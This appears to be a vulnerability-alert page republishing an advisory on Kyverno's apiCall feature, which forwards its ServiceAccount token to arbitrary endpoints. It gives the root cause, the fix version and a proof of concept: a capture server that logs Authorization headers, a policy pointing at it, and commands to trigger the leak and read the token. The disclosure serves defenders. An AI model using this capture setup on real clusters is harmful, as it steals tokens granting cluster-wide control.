Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
7.7

Kyverno apiCall Exposes ServiceAccount Token to External Endpoints

GHSA-8wfp-579w-6r25
Summary

Kyverno's apiCall service mode automatically shares a sensitive token with external or attacker-controlled websites, potentially allowing unauthorized access. This behavior is not documented and can be exploited without requiring policy authorizations to opt-in. Update Kyverno to a fixed version to prevent this issue.

What to do
  • Update kyverno github.com/kyverno/kyverno to version 1.17.0.
Affected software
Ecosystem VendorProductAffected versions
Go kyverno github.com/kyverno/kyverno < 1.17.0
Fix: upgrade to 1.17.0
Original title
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
Original description
### Summary
Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.

The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.

---

### Details

Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:

`/var/run/secrets/kubernetes.io/serviceaccount/token`

and injects it into every HTTP request as:

```
Authorization: Bearer <token>
```

This occurs when no explicit `Authorization` header is defined in the policy.

#### Root cause

```go
if req.Header.Get("Authorization") == "" {
token := a.getToken()
if token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}
```

This logic introduces several issues:

- **Implicit credential forwarding** to arbitrary endpoints
- **No trust boundary validation** (external/internal distinction)
- **Undocumented behavior**
- **Header.Add instead of Set** allows duplication
- **No token sanitization** (potential trailing newline)

---

### PoC

#### Preconditions

- Kyverno installed (v1.17.1 tested)
- A policy using `apiCall.service.url`

---

#### Step 1 — Deploy capture server

```bash
kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers.get('Authorization'), flush=True)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888
```

---

#### Step 2 — Create policy

```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: token-leak
spec:
rules:
- name: test
match:
any:
- resources:
kinds: ["Pod"]
context:
- name: r
apiCall:
method: GET
service:
url: "http://capture.default.svc:8888"
jmesPath: "@"
```

---

#### Step 3 — Trigger

```bash
kubectl run test --image=nginx
```

---

#### Step 4 — Observe token

```bash
kubectl logs capture
```

Output:

```
Authorization: Bearer <SA_TOKEN>
```

---

### Impact

#### Vulnerability class
- Credential exposure / leakage

#### Impact details

- Exposure of Kubernetes ServiceAccount token
- Token grants:
- Full control over Kyverno policies
- Ability to create/delete webhooks
- Read cluster-wide resources
- Privilege escalation and persistence
osv CVSS3.1 7.7
Vulnerability type
CWE-200 Information Exposure
CWE-522 Insufficiently Protected Credentials
Published: 16 Apr 2026 · Updated: 16 Apr 2026 · First seen: 16 Apr 2026